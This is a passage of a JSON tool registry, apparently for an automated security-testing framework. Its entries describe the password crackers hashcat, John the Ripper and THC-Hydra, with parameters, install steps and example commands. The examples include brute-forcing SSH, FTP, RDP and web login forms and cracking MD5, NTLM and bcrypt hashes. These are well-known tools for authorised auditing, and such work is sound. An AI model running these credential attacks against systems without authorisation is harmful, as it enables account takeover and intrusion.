      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "hash-type"
      ],
      "consumes": [
        "hash-string"
      ]
    }
  },
  {
    "_body": "\n# Hashcat — GPU-Accelerated Password Recovery\n\nHashcat is the world's fastest password cracking tool, leveraging GPU acceleration to achieve billions of hashes per second. It supports over 300 hash types and six attack modes: straight (wordlist), combination, brute-force, hybrid wordlist+mask, hybrid mask+wordlist, and PRINCE.\n\n## Attack Modes\n\n| Mode | Flag  | Description |\n|------|-------|-------------|\n| Straight | `-a 0` | Wordlist-based dictionary attack |\n| Combination | `-a 1` | Combines words from two wordlists |\n| Brute-force | `-a 3` | Mask-based exhaustive search |\n| Hybrid wl+mask | `-a 6` | Wordlist with mask appended |\n| Hybrid mask+wl | `-a 7` | Mask with wordlist appended |\n| PRINCE | `-a 8` | PRINCE algorithm attack |\n\n## Key Optimization Flags\n\n- `-O` — optimized kernel (faster but caps password length)\n- `-w 3` — high workload profile (use with caution)\n- `-d 1` — select specific GPU device\n- `--backend-devices` — specify compute devices\n\n## Session and Status\n\n- `--session=name` — save/restore cracking sessions\n- `--status` — real-time status updates\n- `--status-timer=N` — update interval in seconds\n- `--potfile-path` — custom potfile location\n",
    "_source": "hashcat.md",
    "allowed-tools": [
      "hashcat",
      "john",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.crack.potfile",
        "description": "Hashcat potfile with cracked passwords",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "security.crack.result",
        "description": "Cracked password output file",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.crack.password",
      "security.crack.hash",
      "security.audit.credential",
      "hardware.gpu.accelerate"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.hash.file",
          "description": "File containing password hashes"
        },
        {
          "type": "security.wordlist",
          "description": "Dictionary file for wordlist attack"
        },
        {
          "type": "security.rule.file",
          "description": "Rule file for wordlist mutations"
        }
      ],
      "outputs": [
        {
          "type": "security.cracked.passwords",
          "description": "Successfully cracked passwords",
          "mime": "text/plain"
        },
        {
          "type": "security.crack.status",
          "description": "Cracking status and statistics",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "filesystem_write",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 1024,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "World's fastest password recovery tool supporting GPU acceleration, hundreds of hash types, and advanced attack modes.",
    "examples": [
      {
        "description": "Dictionary attack on MD5 hashes",
        "command": "hashcat -m 0 -a 0 hashes.txt rockyou.txt"
      },
      {
        "description": "Brute-force attack on NTLM hashes",
        "command": "hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a?a?a"
      },
      {
        "description": "Rule-based attack with custom rules",
        "command": "hashcat -m 0 -a 0 hashes.txt rockyou.txt -r best64.rule"
      },
      {
        "description": "Incremental mask attack on bcrypt",
        "command": "hashcat -m 3200 -a 3 hashes.txt ?l?l?l?l?l --increment --increment-min=4"
      },
      {
        "description": "Run benchmark for all hash modes",
        "command": "hashcat --benchmark"
      },
      {
        "description": "Show cracked passwords from potfile",
        "command": "hashcat --show hashes.txt"
      },
      {
        "description": "Hybrid attack (wordlist + mask)",
        "command": "hashcat -m 0 -a 6 hashes.txt rockyou.txt ?d?d?d"
      },
      {
        "description": "Use GPU device 1 with optimized kernel",
        "command": "hashcat -m 0 -a 0 hashes.txt rockyou.txt -d 1 -O"
      }
    ],
    "execution": {
      "template": "hashcat -m {hash-type} -a {attack-mode} {hash-file} {wordlist}",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "global_vars": {
      "hash-type": "0",
      "attack-mode": "0",
      "hash-file": "",
      "wordlist": ""
    },
    "id": "security-crack-hashcat",
    "install": [
      {
        "method": "apt",
        "package_name": "hashcat",
        "commands": [
          "apt-get install -y hashcat"
        ]
      },
      {
        "method": "brew",
        "package_name": "hashcat",
        "commands": [
          "brew install hashcat"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110"
    ],
    "name": "hashcat",
    "namespace": "security:crack:hashcat",
    "parameters": [
      {
        "name": "1",
        "type": "boolean",
        "required": false,
        "description": "charset ?1",
        "aliases": [
          "-1",
          "--custom-charset1",
          "-defined"
        ],
        "flag": "-1"
      },
      {
        "name": "2",
        "type": "boolean",
        "required": false,
        "description": "charset ?2",
        "aliases": [
          "-2",
          "--custom-charset2",
          "-defined"
        ],
        "flag": "-2"
      },
      {
        "name": "3",
        "type": "boolean",
        "required": false,
        "description": "charset ?3",
        "aliases": [
          "-3",
          "--custom-charset3",
          "-defined"
        ],
        "flag": "-3"
      },
      {
        "name": "4",
        "type": "boolean",
        "required": false,
        "description": "charset ?4",
        "aliases": [
          "-4",
          "--custom-charset4",
          "-defined"
        ],
        "flag": "-4"
      },
      {
        "name": "V",
        "type": "boolean",
        "required": false,
        "description": "Print version",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      },
      {
        "name": "b",
        "type": "boolean",
        "required": false,
        "description": "Run benchmark",
        "aliases": [
          "-b",
          "--benchmark"
        ],
        "flag": "-b"
      },
      {
        "name": "backend_devices",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--backend-devices",
          "-device"
        ],
        "flag": "-device"
      },
      {
        "name": "backend_vector_width",
        "type": "boolean",
        "required": false,
        "description": "Backend vector width",
        "aliases": [
          "--backend-vector-width"
        ],
        "flag": "--backend-vector-width"
      },
      {
        "name": "benchmark",
        "template_key": "benchmark",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Run benchmark for all hash modes",
        "aliases": [
          "--benchmark"
        ],
        "flag": "--benchmark"
      },
      {
        "name": "benchmark_all",
        "type": "boolean",
        "required": false,
        "description": "Run benchmark for all modes",
        "aliases": [
          "--benchmark-all"
        ],
        "flag": "--benchmark-all"
      },
      {
        "name": "example-hashes",
        "template_key": "example-hashes",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Print example hashes for all hash modes",
        "aliases": [
          "--example-hashes"
        ],
        "flag": "--example-hashes"
      },
      {
        "name": "flag-O",
        "template_key": "flag-O",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable optimized kernel (limits password length)",
        "aliases": [
          "-O",
          "--optimized-kernel"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "integer",
        "required": false,
        "default_value": 0,
        "description": "Attack mode (0=Straight, 1=Combination, 3=Brute-force, 6=Hybrid, 7=PRINCE)",
        "aliases": [
          "-a",
          "--attack-mode"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-d",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "OpenCL device to use",
        "aliases": [
          "-d",
          "--device"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable incremental mask mode",
        "aliases": [
          "-i",
          "--increment"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Hash type number (e.g. 0=MD5, 1000=NTLM, 3200=bcrypt)",
        "aliases": [
          "-m",
          "--hash-type"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file for cracked passwords",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Rule file for wordlist attack",
        "aliases": [
          "-r",
          "--rule-file"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "integer",
        "required": false,
        "default_value": 2,
        "description": "Workload profile (1=Low, 2=Default, 3=High, 4=Nightmare)",
        "aliases": [
          "-w",
          "--workload-profile"
        ],
        "flag": "-w"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Ignore warnings and force startup",
        "aliases": [
          "--force"
        ],
        "flag": "--force"
      },
      {
        "name": "g",
        "type": "boolean",
        "required": false,
        "description": "Generate N random rules",
        "aliases": [
          "-g",
          "--generate-rules"
        ],
        "flag": "-g"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Print help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "increment_max",
        "type": "boolean",
        "required": false,
        "description": "Stop mask at length NUM",
        "aliases": [
          "--increment-max"
        ],
        "flag": "--increment-max"
      },
      {
        "name": "increment_min",
        "type": "boolean",
        "required": false,
        "description": "Start mask at length NUM",
        "aliases": [
          "--increment-min"
        ],
        "flag": "--increment-min"
      },
      {
        "name": "j",
        "type": "boolean",
        "required": false,
        "description": "Single rule applied to left word",
        "aliases": [
          "-j",
          "--rule-left"
        ],
        "flag": "-j"
      },
      {
        "name": "k",
        "type": "boolean",
        "required": false,
        "description": "Single rule applied to right word",
        "aliases": [
          "-k",
          "--rule-right"
        ],
        "flag": "-k"
      },
      {
        "name": "keyspace",
        "type": "boolean",
        "required": false,
        "description": "Show keyspace for current attack",
        "aliases": [
          "--keyspace"
        ],
        "flag": "--keyspace"
      },
      {
        "name": "n",
        "type": "boolean",
        "required": false,
        "description": "Threads per GPU device",
        "aliases": [
          "-n",
          "--threads"
        ],
        "flag": "-n"
      },
      {
        "name": "outfile-format",
        "template_key": "outfile-format",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Output format for cracked passwords",
        "aliases": [
          "--outfile-format"
        ],
        "flag": "--outfile-format"
      },
      {
        "name": "outfile_autohex_disable",
        "type": "boolean",
        "required": false,
        "description": "Disable auto hex encode of plaintext",
        "aliases": [
          "--outfile-autohex-disable"
        ],
        "flag": "--outfile-autohex-disable"
      },
      {
        "name": "p",
        "type": "boolean",
        "required": false,
        "description": "Separator for hashlist",
        "aliases": [
          "-p",
          "--separator"
        ],
        "flag": "-p"
      },
      {
        "name": "potfile-path",
        "template_key": "potfile-path",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Custom potfile path",
        "aliases": [
          "--potfile-path"
        ],
        "flag": "--potfile-path"
      },
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "Suppress output",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "runtime",
        "type": "boolean",
        "required": false,
        "description": "Runtime limit in seconds",
        "aliases": [
          "--runtime"
        ],
        "flag": "--runtime"
      },
      {
        "name": "session",
        "template_key": "session",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Session name for save/restore",
        "aliases": [
          "--session"
        ],
        "flag": "--session"
      },
      {
        "name": "show",
        "template_key": "show",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show cracked passwords from potfile",
        "aliases": [
          "--show"
        ],
        "flag": "--show"
      },
      {
        "name": "status",
        "template_key": "status",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable automatic status screen updates",
        "aliases": [
          "--status"
        ],
        "flag": "--status"
      },
      {
        "name": "stdout",
        "type": "boolean",
        "required": false,
        "description": "Print candidates to stdout (not cracking)",
        "aliases": [
          "--stdout"
        ],
        "flag": "--stdout"
      },
      {
        "name": "username",
        "type": "boolean",
        "required": false,
        "description": "Enable ignoring usernames in hashfile",
        "aliases": [
          "--username"
        ],
        "flag": "--username"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Hashcat GitHub",
        "url": "https://github.com/hashcat/hashcat"
      },
      {
        "label": "Hashcat Wiki",
        "url": "https://hashcat.net/wiki/"
      }
    ],
    "related_tools": [
      "john",
      "hash-utils"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 1024,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "cracked-passwords",
        "hash-analysis"
      ],
      "consumes": [
        "hash-file",
        "wordlist",
        "rule-file"
      ]
    }
  },
  {
    "_body": "\n# THC-Hydra — Network Logon Cracker\n\nHydra is a highly parallel network authentication cracking tool that supports over 50 protocols including SSH, FTP, HTTP(S), RDP, SMB, MySQL, PostgreSQL, SMTP, and many more. It is designed to quickly test credential strength across network services.\n\n## Supported Protocols\n\n| Protocol | Service Argument | Default Port |\n|----------|-----------------|-------------|\n| SSH | `ssh` | 22 |\n| FTP | `ftp` | 21 |\n| HTTP(S) | `http-get` / `http-post-form` | 80/443 |\n| RDP | `rdp` | 3389 |\n| SMB | `smb` | 445 |\n| MySQL | `mysql` | 3306 |\n| PostgreSQL | `postgres` | 5432 |\n\n## Performance Tuning\n\n- `-t 64` — increase parallel tasks (default 16)\n- `-w 1` — add wait time between attempts\n- `-f` — stop after first valid credential found\n- `-F` — stop per service after first credential\n\n## Smart Checks\n\n- `-e n` — try null password\n- `-e s` — try password same as login\n- `-e r` — try reverse login as password\n- Combine as `-e nsr` for all extra checks\n",
    "_source": "hydra.md",
    "allowed-tools": [
      "hydra",
      "medusa",
      "ncrack",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.crack.results",
        "description": "Brute-force results log",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.crack.password",
      "security.auth.bruteforce",
      "security.audit.credential",
      "network.auth.test"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Target IP address or hostname"
        },
        {
          "type": "network.target.port",
          "description": "Target port (optional, auto-detected for most services)"
        },
        {
          "type": "security.username.list",
          "description": "File containing usernames"
        },
        {
          "type": "security.password.list",
          "description": "File containing passwords"
        }
      ],
      "outputs": [
        {
          "type": "security.valid.credentials",
          "description": "Successfully discovered credentials",
          "mime": "text/plain"
        },
        {
          "type": "security.auth.results",
          "description": "Authentication attempt results",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "high",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Very fast parallel network logon cracker supporting numerous protocols for brute-force authentication testing.",
    "examples": [
      {
        "description": "Brute-force SSH with username and password list",
        "command": "hydra -l admin -P passwords.txt 192.168.1.100 ssh"
      },
      {
        "description": "Brute-force HTTP form with user list",
        "command": "hydra -L users.txt -P passwords.txt 192.168.1.100 http-post-form \"/login:user=^USER^&pass=^PASS^:F=invalid\""
      },
      {
        "description": "Brute-force FTP with verbose output",
        "command": "hydra -l root -P passwords.txt -v 192.168.1.100 ftp"
      },
      {
        "description": "Multiple targets from file",
        "command": "hydra -l admin -P passwords.txt -M targets.txt ssh"
      },
      {
        "description": "Null and same-as-login checks",
        "command": "hydra -l admin -P passwords.txt -e ns 192.168.1.100 rdp"
      },
      {
        "description": "SSL-enabled service on custom port",
        "command": "hydra -l admin -P passwords.txt -s 2222 -S 192.168.1.100 ssh"
      },
      {
        "description": "Restore aborted session",
        "command": "hydra -R"
      },
      {
        "description": "Password generation mode",
        "command": "hydra -l admin -x 6:8:a1 192.168.1.100 ftp"
      }
    ],
    "execution": {
      "template": "hydra -l {username} -P {password-list} {target} {service}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {
      "username": "admin",
      "password-list": "",
      "target": "",
      "service": "ssh"
    },
    "id": "security-crack-hydra",
    "install": [
      {
        "method": "apt",
        "package_name": "hydra",
        "commands": [
          "apt-get install -y hydra"
        ]
      },
      {
        "method": "brew",
        "package_name": "hydra",
        "commands": [
          "brew install hydra"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110"
    ],
    "name": "hydra",
    "namespace": "security:crack:hydra",
    "parameters": [
      {
        "name": "4",
        "type": "boolean",
        "required": false,
        "description": "prefer IPv4 or IPv6 (default: auto)",
        "aliases": [
          "-4",
          "-6"
        ],
        "flag": "-4"
      },
      {
        "name": "C",
        "type": "boolean",
        "required": false,
        "description": "FILE                 colon separated \"login:pass\" format file",
        "aliases": [
          "-C"
        ],
        "flag": "-C"
      },
      {
        "name": "H",
        "type": "boolean",
        "required": false,
        "description": "print extended help screen",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "I",
        "type": "boolean",
        "required": false,
        "description": "ignore restore file (don't wait 3s)",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "R",
        "type": "boolean",
        "required": false,
        "description": "restore a previous aborted session",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "U",
        "type": "boolean",
        "required": false,
        "description": "TASKS                run TASKS login attempts in parallel (per module)",
        "aliases": [
          "-U"
        ],
        "flag": "-U"
      },
      {
        "name": "b",
        "type": "boolean",
        "required": false,
        "description": "TEXT|JSON|CSV        output format (default: text)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "debug mode",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-L",
        "template_key": "flag-L",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File with list of usernames",
        "aliases": [
          "-L",
          "--login-list"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-M",
        "template_key": "flag-M",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File with list of target servers",
        "aliases": [
          "-M",
          "--server-list"
        ],
        "flag": "-M"
      },
      {
        "name": "flag-P",
        "template_key": "flag-P",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "File with list of passwords",
        "aliases": [
          "-P",
          "--password-list"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-S",
        "template_key": "flag-S",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Connect via SSL",
        "aliases": [
          "-S",
          "--ssl"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-V",
        "template_key": "flag-V",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show each login attempt",
        "aliases": [
          "-V",
          "--verbose-login"
        ],
        "flag": "-V"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Extra checks (n=null, s=same-as-login, r=reverse-login)",
        "aliases": [
          "-e",
          "--extra"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Exit after first found login/password pair",
        "aliases": [
          "-f",
          "--found"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Single username to try",
        "aliases": [
          "-l",
          "--login"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file for results",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-p",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Single password to try",
        "aliases": [
          "-p",
          "--password"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Target port number",
        "aliases": [
          "-s",
          "--port"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "integer",
        "required": false,
        "default_value": 16,
        "description": "Number of parallel tasks per target",
        "aliases": [
          "-t",
          "--tasks"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Wait time in seconds between attempts",
        "aliases": [
          "-w",
          "--wait"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Password generation pattern",
        "aliases": [
          "-x",
          "--password-generation"
        ],
        "flag": "-x"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "print help screen",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "do not print connection messages",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "no reset of connection after each attempt",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "loop around users, not passwords",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "y",
        "type": "boolean",
        "required": false,
        "description": "generation",
        "aliases": [
          "-y",
          "-x"
        ],
        "flag": "-y"
      },
      {
        "name": "z",
        "type": "boolean",
        "required": false,
        "description": "display comprehensive module information",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Hydra GitHub",
        "url": "https://github.com/vanhauser-thc/thc-hydra"
      },
      {
        "label": "Hydra Manual",
        "url": "https://www.kali.org/tools/hydra/"
      }
    ],
    "related_tools": [
      "medusa",
      "ncrack",
      "patator"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "high",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "credential-access",
      "credential-access"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "valid-credentials",
        "auth-test-results"
      ],
      "consumes": [
        "target",
        "username-list",
        "password-list"
      ]
    }
  },
  {
    "_body": "\n# John the Ripper — Password Cracking\n\nJohn the Ripper is a fast password cracker supporting hundreds of hash and cipher types across Unix, Windows, and web platforms. It offers multiple cracking modes: single (weak passwords from login info), wordlist (dictionary with rules), incremental (brute-force), and external (custom C-style functions).\n\n## Cracking Modes\n\n| Mode | Command | Description |\n|------|---------|-------------|\n| Single | `john --single hashes.txt` | Uses login/GECOS info as password guesses |\n| Wordlist | `john --wordlist=rockyou.txt hashes.txt` | Dictionary attack with optional mangling rules |\n| Incremental | `john --incremental hashes.txt` | Brute-force using character set permutations |\n| Mask | `john --mask=?l?l?l?d?d hashes.txt` | Targeted brute-force with positional masks |\n| External | `john --external=myfilter hashes.txt` | Custom C-style password generation functions |\n\n## Session Management\n\n- `--session=name` — assign a name to save/restore sessions\n- `--restore=name` — resume an interrupted cracking session\n- `--pot=mypot.pot` — specify custom pot file location\n- `--show` — display cracked passwords from pot file\n\n## Distributed Cracking\n\n- `--fork=N` — run N parallel processes on multi-core CPUs\n- `--node=M/N` — run as node M of N in a cluster\n",
    "_source": "john.md",
    "allowed-tools": [
      "john",
      "hashcat",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.crack.potfile",
        "description": "Cracked password database",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "security.crack.session",
        "description": "Cracking session state for restore",
        "mime": "application/octet-stream",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "CredentialAccess",
      "CredentialAccess"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.crack.password",
      "security.crack.hash",
      "security.audit.credential"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.hash.file",
          "description": "File containing password hashes to crack"
        },
        {
          "type": "security.wordlist",
          "description": "Wordlist for dictionary attack"
        },
        {
          "type": "security.rules",
          "description": "Mangling rules for wordlist mutations"
        }
      ],
      "outputs": [
        {
          "type": "security.cracked.passwords",
          "description": "Successfully cracked passwords",
          "mime": "text/plain"
        },
        {
          "type": "security.crack.session",
          "description": "Cracking session state",
          "mime": "application/octet-stream"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "filesystem_write",
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 512,
        "network": "none",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Leading password cracking tool supporting hundreds of hash types with multiple cracking modes (single, wordlist, incremental, external).",
    "examples": [
      {
        "description": "Single crack mode using login information",
        "command": "john --single hashes.txt"
      },
      {
        "description": "Wordlist mode with rules",
        "command": "john --wordlist=rockyou.txt --rules hashes.txt"
      },
      {
        "description": "Incremental (brute-force) mode",
        "command": "john --incremental hashes.txt"
      },
      {
        "description": "Show cracked passwords from pot file",
        "command": "john --show hashes.txt"
      },
      {
        "description": "Crack specific format with mask attack",
        "command": "john --format=raw-md5 --mask=?l?l?l?l?d?d hashes.txt"
      },
      {
        "description": "Restore a saved session",
        "command": "john --restore my-session"
      },
      {
        "description": "Fork across 4 CPU cores",
        "command": "john --fork=4 hashes.txt"
      },
      {
        "description": "Cluster cracking with node distribution",
        "command": "john --node=1/4 hashes.txt"
      }
    ],
    "execution": {
      "template": "john --wordlist={wordlist} {hash-file}",
      "sandbox": "execFile",
      "timeout_seconds": 86400,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdout"
    ],
    "global_vars": {
      "wordlist": "",
      "hash-file": ""
    },
    "id": "security-crack-john",
    "install": [
      {
        "method": "apt",
        "package_name": "john",
        "commands": [
          "apt-get install -y john"
        ]
      },
      {
        "method": "brew",
        "package_name": "john",
        "commands": [
          "brew install john"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1110"
    ],
    "name": "john",
    "namespace": "security:crack:john",
    "parameters": [
      {
        "name": "config",
        "type": "boolean",
        "required": false,
        "description": "use FILE instead of john.conf or john.ini",
        "aliases": [
          "--config"
        ],
        "flag": "--config"
      },
      {
        "name": "encoding",
        "type": "boolean",
        "required": false,
        "description": "cp1251)",
        "aliases": [
          "--encoding",
          "-8"
        ],
        "flag": "-8"
      },
      {
        "name": "external",
        "type": "boolean",
        "required": false,
        "description": "external mode or word filter",
        "aliases": [
          "--external"
        ],
        "flag": "--external"
      },
      {
        "name": "fork",
        "template_key": "fork",
        "type": "integer",
        "required": false,
        "default_value": 1,
        "description": "Number of forked processes",
        "aliases": [
          "--fork"
        ],
        "flag": "--fork"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Hash format (e.g. raw-md5, bcrypt, sha512crypt)",
        "aliases": [
          "--format"
        ],
        "flag": "--format"
      },
      {
        "name": "groups",
        "type": "boolean",
        "required": false,
        "description": "crack specific group(s) only",
        "aliases": [
          "--groups"
        ],
        "flag": "--groups"
      },
      {
        "name": "incremental",
        "template_key": "incremental",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Incremental (brute-force) mode with optional charset",
        "aliases": [
          "--incremental"
        ],
        "flag": "--incremental"
      },
      {
        "name": "list",
        "type": "boolean",
        "required": false,
        "description": "list capabilities (formats, modes, etc)",
        "aliases": [
          "--list"
        ],
        "flag": "--list"
      },
      {
        "name": "make_charset",
        "type": "boolean",
        "required": false,
        "description": "generate charset file",
        "aliases": [
          "--make-charset"
        ],
        "flag": "--make-charset"
      },
      {
        "name": "markov",
        "type": "boolean",
        "required": false,
        "description": "Markov mode",
        "aliases": [
          "--markov"
        ],
        "flag": "--markov"
      },
      {
        "name": "mask",
        "template_key": "mask",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Mask for brute-force attack (e.g. ?l?l?l?d?d)",
        "aliases": [
          "--mask"
        ],
        "flag": "--mask"
      },
      {
        "name": "max-candidates",
        "template_key": "max-candidates",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Max candidates per second per thread",
        "aliases": [
          "--max-candidates"
        ],
        "flag": "--max-candidates"
      },
      {
        "name": "max_run_time",
        "type": "boolean",
        "required": false,
        "description": "max runtime in seconds",
        "aliases": [
          "--max-run-time"
        ],
        "flag": "--max-run-time"
      },
      {
        "name": "mem-file-size",
        "template_key": "mem-file-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Max memory per file buffer in MB",
        "aliases": [
          "--mem-file-size"
        ],
        "flag": "--mem-file-size"
      },
      {
        "name": "node",
        "template_key": "node",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Node/distribution for cluster cracking",
        "aliases": [
          "--node"
        ],
        "flag": "--node"
      },
      {
        "name": "pot",
        "template_key": "pot",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Pot file path for cracked passwords",
        "aliases": [
          "--pot"
        ],
        "flag": "--pot"
      },
      {
        "name": "prince",
        "type": "boolean",
        "required": false,
